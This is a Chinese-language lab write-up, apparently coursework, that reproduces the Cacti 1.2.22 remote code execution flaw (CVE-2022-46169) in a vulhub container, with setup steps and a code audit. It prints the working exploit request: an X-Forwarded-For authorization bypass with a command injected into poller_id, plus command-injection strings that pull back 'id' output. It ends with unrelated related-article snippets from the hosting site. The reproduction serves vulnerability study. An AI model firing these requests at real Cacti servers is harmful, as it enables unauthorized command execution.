渗透高级-----测试复现(第三次作业)

文章目录

  • 测试复现
    • 一,环境搭建
    • 二,通过VS Code连接cacti
    • 三,测试

测试复现

一,环境搭建

1,在ubuntu虚拟机上安装MySql数据库:

apt-get upgrade     # 更新apt-get upgrade
apt-get update      # 更新apt-get update
apt-get install mysql-server     # 安装mysql
service mysql start      # 启动MySQL
service mysql status     # 查看mysql状态

在这里插入图片描述

root@ning:~# netstat -tap | grep mysql      
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN      33859/mysqld  

2,在github…com官网搜索对应的cacti安装包;

在这里插入图片描述

root@ning:~/vulhub/cacti/CVE-2022-46169# proxychains wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
// 在Ubuntu虚拟机上安装对应的安装包
root@ning:~/vulhub/cacti/CVE-2022-46169# unzip 1.2.22.zip    # 解压缩

安装完后,根据vulhub官方文档上的操作执行。

第一步:执行如下命令启动一个Cacti 1.2.22版本服务器:

root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose up -d

第二步:环境启动后,访问主机IP:8080端口,进入到cacti登录页面:

在这里插入图片描述

第三步:使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,初始化的过程就是点击"下一步",直到安装成功即可:

在这里插入图片描述

第四步:本次测试的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

在这里插入图片描述

选择的Graph Type是“Device - Uptime”,点击创建:

在这里插入图片描述

3,测试

完成上述初始化后,切换到测试角度,发送如下数据包:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

在这里插入图片描述

虽然响应包里没有回显,但是进入容器中即可发现/tmp/success已成功被创建:

root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose exec web bash
root@6557b88583fa:/var/www/html# ls -al /tmp/
total 16
drwxrwxrwt 1 root     root     4096 Jul 25 03:52 .
drwxr-xr-x 1 root     root     4096 Jul 25 02:09 ..
-rw------- 1 www-data www-data 2429 Jul 25 03:50 sess_23c70c6c8a85bccae51d57b4c8f663bd
-rw------- 1 www-data www-data 1528 Jul 25 03:52 sess_dd35abcf5e60b64ff4c2124202bd7e48
-rw-r--r-- 1 www-data www-data    0 Jul 25 03:52 success

二,通过VS Code连接cacti

在这里插入图片描述

1,代码审计:

绕过 remote_client_authorized 鉴权函数

// remote_agent.php(nu53-nu56)
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}

get传递的参数,是用户可控的,一定能走进case polldata 这个开关语句,一定会触发poll_for_data 函数。

在这里插入图片描述

可以通过ctrl+鼠标右键进行函数追踪:

在这里插入图片描述

// remote_agent.php:nu324-nu428
if (cacti_sizeof($items)) {foreach($items as $item) {switch ($item['action']) {    // 判断action的值,action的默认值为2case POLLER_ACTION_SNMP: /* snmp */......case POLLER_ACTION_SCRIPT: /* script (popen) */......case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */......

通过ctrl+鼠标右键追踪这三个常量可以得知,POLLER_ACTION_SCRIPT_PHP常量的值为2,所以会执行POLLER_ACTION_SCRIPT_PHP后面的代码:

// global_constants.php:nu106-nu109
/* used both for polling and reindexing */
define('POLLER_ACTION_SNMP', 0);
define('POLLER_ACTION_SCRIPT', 1);
define('POLLER_ACTION_SCRIPT_PHP', 2);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

如果需要执行命令,需要绕过这几个判断:

一定要将output赋值给value,否则output就会变成U
在这里插入图片描述

这里做了一个prepare_validate_result提前的判断,一定要绕过这个函数;

在这里插入图片描述

substr_count:计算字符串出现的次数。例如:

<?php
$text = 'This is a test';
echo strlen($text), PHP_EOL; // 14echo substr_count($text, 'is'), PHP_EOL; // 2// 字符串被简化为 's is a test',因此输出 1
echo substr_count($text, 'is', 3), PHP_EOL;// 字符串被简化为 's i',所以输出 0
echo substr_count($text, 'is', 3, 3), PHP_EOL;// 输出 1,因为该函数不计算重叠字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd'), PHP_EOL;// 因为 5+10 > 14,所以抛出异常
echo substr_count($text, 'is', 5, 10), PHP_EOL;
?>22

在这里插入图片描述

filter_var:使用特定的过滤器过滤一个变量。这个过滤器可以验证IP是否合法。

在这里插入图片描述

当这里的验证绕过后,代码就可以执行。

2,创建一个test.php测试代码:

<?php
echo '<pre>';
var_dump($_SERVER);

在这里插入图片描述

3,修改config.php文件:

root@ning:~/usr/local/nginx/html/cacti/include/config.php

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'root';
$database_password = 'root123';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

4,修正环境变量

以下配置均在容器内部进行:

# 安装指定版本的xdebug
root@6557b88583fa:/var/www/html# pecl install xdebug-3.1.6# 启用扩xdebug展
root@6557b88583fa:/var/www/html# docker-php-ext-enable xdebug# 重启容器
root@6557b88583fa:/var/www/html# exit
root@ning:/usr/local/nginx/html/cacti/lib# docker restart 6557b88583fa
// 3.1.6是php7.4对应的debug# 编辑 docker-php-ext-xdebug.ini 配置文件
root@ning:~# docker exec -it 6557b88583fa /bin/bash
root@6557b88583fa:/var/www/html# cd /usr/local/etc/php/conf.d
root@6557b88583fa:/usr/local/etc/php/conf.d# ls -al
-rw-r--r-- 1 root root   22 Jul 25 09:49 docker-php-ext-xdebug.ini
root@6557b88583fa:/usr/local/etc/php/conf.d# vim docker-php-ext-xdebug.ini     # 添加如下内容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

5,进数据库

root@ning:/usr/local/nginx/html# docker exec -it 360eb4ccb010 /bin/bash
bash-4.2# mysql -uroot -proot
mysql> use cacti
....
Database changed
mysql> show tables;         # 查看表单

三,测试

1,打断点

在这里插入图片描述

2,抓包

  1. 开启burp suite

    在这里插入图片描述

  2. 在浏览器中访问

    在这里插入图片描述

  3. 将burp suite抓取到的包发送到repeater

    在这里插入图片描述

  4. 修改部分数据后,send

    在这里插入图片描述

虽然没有回显,但是在访问容器内容时,生成了success文件:

在这里插入图片描述

3,构造命令行

在这里插入图片描述

下面的命令在传参时,为了防止空格的影响,都要先进行urlencode编码:

|echo "test\r\n `id | xxd -p -c 1 | awk '{printf \"%s \", $0}'`";

在这里插入图片描述

|echo "test\r\n :`id | base64 -w0`";

在这里插入图片描述

运行完后,只需要将输出的值通过base64转码后,就能达到预想达到结果:

在这里插入图片描述

|echo "test\r\n `id | base64 -w0 | awk -v ORS=':' '{printf $0}'`";

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/90862.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/90862.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LINUX727 磁盘管理回顾1;配置文件回顾

逻辑卷快照 快照为什么这么小RAID 磁盘阵列 raid 0 raid 1 raid5 raid10raid0 raid1 raid5 raid6 raid10 rank;create raid0 mdadm -c /dev/md0 -l 0 -n 2 /dev/sdb3 /dev/sdb4 raid1 mdadm -c /dev/md1 -l 1 -n 2 /dev/sdb5 /dev/sdb6 raid5 mdadm -c /dev/md5 -l 5 -n 3 -x …

【笔记】Einstein关系式 D = ukBT 的推导与应用研究

文章目录从涨落理论和能量均分定理的数学推导基于平衡统计力学的推导1. 漂移流的来源&#xff1a;Jdrift−μρ∇UJ_{drift} -μρ∇UJdrift​−μρ∇U物理机制粒子流的形成2. 扩散流的来源&#xff1a;Jdiffusion−D∇ρJ_{diffusion} -D∇ρJdiffusion​−D∇ρ3. 热平衡要…

AJAX 原理_第一节_XHR 对象

文章目录1.AJAX原理1.1 初识XML1.2 查询参数1.3 案例-地区查询1.4 案例-注册-设置请求头1.AJAX原理 1.1 初识XML AJAX原理是什么? XMLHttpRequest对象 XHR对象定义: 通过XMLHttpRequest可以在不刷新页面的情况下请求特定URL,获取数据.这允许页面在不影响用户操作的情况下,更…

BeautifulSoup 使用详解与实战示例

BeautifulSoup 是一个用于解析HTML和XML文档的Python库&#xff0c;它能够将复杂的HTML文档转换成一个复杂的树形结构&#xff0c;使得我们可以轻松地查找和提取所需的内容。下面我将详细介绍BeautifulSoup的使用流程&#xff0c;并结合实际示例进行说明。一、安装与基础使用1.…

LangChain实战——实现多轮对话 + Function Calling

随着大语言模型&#xff08;LLMs&#xff09;的迅猛发展&#xff0c;“Function Calling”&#xff08;函数调用&#xff09;逐渐成为一个重要的能力&#xff0c;它使得模型不仅能聊天&#xff0c;还能像“中控大脑”一样调用外部函数完成具体任务&#xff0c;比如查天气、调用…

湖南(源点咨询)市场调研 如何在行业研究中快速有效介入 起头篇

行业研究从业人员经常需要在承接研究案子后快速的摸清委托方所在行业。而俗话说&#xff0c;隔行如隔山&#xff0c;快速了解行业&#xff0c;主要用于行业分析报告及为市场细分准入进行前期铺垫&#xff0c;要想摸清一个行业&#xff0c;需要长期持续的跟踪。了解一个行业&…

【c++】从 “勉强能用” 到 “真正好用”:中文问答系统的 200 行关键优化——关于我用AI编写了一个聊天机器人……(16)

先看核心结论&#xff1a;两段代码的本质区别如果用一句话总结两段代码的差异&#xff1a;前者是 “带中文支持的问答系统”&#xff0c;后者是 “真正适配中文的问答系统”。具体来说&#xff0c;两段代码的核心功能都是 “加载问答数据→接收用户输入→匹配答案”&#xff0c…

VR 技术在污水处理领域的创新性应用探索​

在广州&#xff0c;VR 污水处理技术的应用可谓是多点开花。首先&#xff0c;在污水处理流程模拟方面&#xff0c;工程师们利用 VR 技术创建了高度逼真的污水处理厂三维模型&#xff0c;将污水处理的整个流程&#xff0c;从预处理去除大颗粒杂质和悬浮物&#xff0c;到初级处理通…

深度学习暑期科研项目(两个月发EI论文)

深度学习暑期科研项目&#xff08;8周发EI论文&#xff09; 哈尔滨工业大学博士的六大选题对本科生而言&#xff0c;越早接触系统的科研训练开始上手科研项目&#xff0c;就越能在未来的升学求职中占据很大的优势。暑假是提升个人简历、丰富科研经历的最佳时期&#xff01;哈尔…

【RH134 问答题】第 1 章 提高命令行运行效率

目录#!/bin/bash 是什么意思&#xff1f;PATH 变量有什么重要作用&#xff1f;echo 命令的作用是什么&#xff1f;解释下列正则表达式的含义简述正则表达式和 shell 模式匹配的区别&#xff0c;在 shell 命令使用正则表达式的时候需要注意什么&#xff1f;#!/bin/bash 是什么意…

OpenCV(02)图像颜色处理,灰度化,二值化,仿射变换

【OpenCV&#xff08;01&#xff09;】基本图像操作、绘制&#xff0c;读取视频 目录图像颜色加法灰度化二值化仿射变换图像颜色加法 颜色加法 import cv2 as cv import numpy as np#读图 cao cv.imread(E:\hqyj\code\opencv\images\cao.png) pig cv.imread(E:\hqyj\code\o…

嵌入式——单片机的独立按键

一、目的功能通过开发板上的独立按键k1控制d1指示灯亮灭&#xff0c;k1一次亮再按一次灭。二、硬件原理图三、消抖理解&#xff08;一&#xff09;核心原理&#xff1a;当事件被重复触发时&#xff0c;设置一个延迟&#xff0c;只有在该时间内没有新的事件被触发&#xff0c;才…

机器学习的工作流程

&#x1f31f; 欢迎来到AI奇妙世界&#xff01; &#x1f31f; 亲爱的开发者朋友们&#xff0c;大家好&#xff01;&#x1f44b; 我是人工智能领域的探索者与分享者&#xff0c;很高兴在CSDN与你们相遇&#xff01;&#x1f389; 在这里&#xff0c;我将持续输出AI前沿技术、实…

聚类里面的一些相关概念介绍阐述

一、性能度量外部指标&#xff1a;聚类结果与某个“参考模型”进行比较&#xff1b;系数&#xff1a; &#xff0c;其中的 表示样本是否属于某类簇&#xff1b; 指数&#xff1a;&#xff0c;其中 表示样本在两个聚类结果中都是同一类簇&#xff0c; 表示在其中一个聚类结果中…

mmap机制

先看这个 MMAP 机制通俗易懂-CSDN博客 一句话 **mmap(memory map)是操作系统提供的“把文件或设备直接映射到进程虚拟地址空间”的机制,Java 里对应 `MappedByteBuffer`。** --- ### 1. 技术本质 - 系统调用:`mmap()`(POSIX)、`CreateFileMapping`(Windows)。 …

嵌入式硬件篇---驱动板

制作 ESP32 驱动板的核心是 “搭建 ESP32 与外设之间的桥梁”—— 因为 ESP32 的 GPIO 引脚输出电流很小&#xff08;最大 20mA&#xff09;&#xff0c;无法直接驱动大功率设备&#xff08;如电机、继电器、电磁阀等&#xff09;&#xff0c;驱动板的作用就是放大电流 / 功率&…

UniappDay01

1.技术架构2.创建uniapp项目 通过HBuilderX创建 官网安装创建uniapp vue3项目安装uniapp vue3的编译器在工具栏启动微信小程序开启服务端口模拟器窗口分离和置顶 通过命令行创建 3.pages.json和tabbar案例 pages.json用来配置路由&#xff0c;导航栏&#xff0c;tabbar等页面类…

子空间投影,投影矩阵,最小二乘法

一、子空间投影 1.1 投影与误差向量b 在 向量a 上的投影即 a 上离 b 最近的点&#xff1a; paTbaTaa p \frac{a^T b}{a^Ta}a paTaaTb​a 我们记 误差 e b - p&#xff0c;显然误差e 和 a 是正交的。 1.2 投影矩阵向量b 在子空间S上的投影是S中离b 最近的向量p。 我们做如下推…

基于FPGA的SPI控制FLASH读写

基于FPGA的SPI控制FLASH读写 文章目录基于FPGA的SPI控制FLASH读写一、SPI简介二、FLASH_M25P16简介信号描述功能操作注意时序三、设计思路框图设计状态机设计四、上板验证1、读ID2、读数据3、扇区擦除写数据五、总结六、代码一、SPI简介 SPI是Serial Peripheral interface的缩…

Pytest 参数化进阶:掌握 parametrize 的多种用法

概述 在自动化测试中,@pytest.mark.parametrize 不仅仅能用来为测试函数提供多组输入数据,还能配合其他功能实现更复杂的测试逻辑。本文将带你深入了解 @pytest.mark.parametrize 的多种常见用法,助你在不同场景下写出更高效、更清晰的测试代码 基础用法回顾:单个参数化 …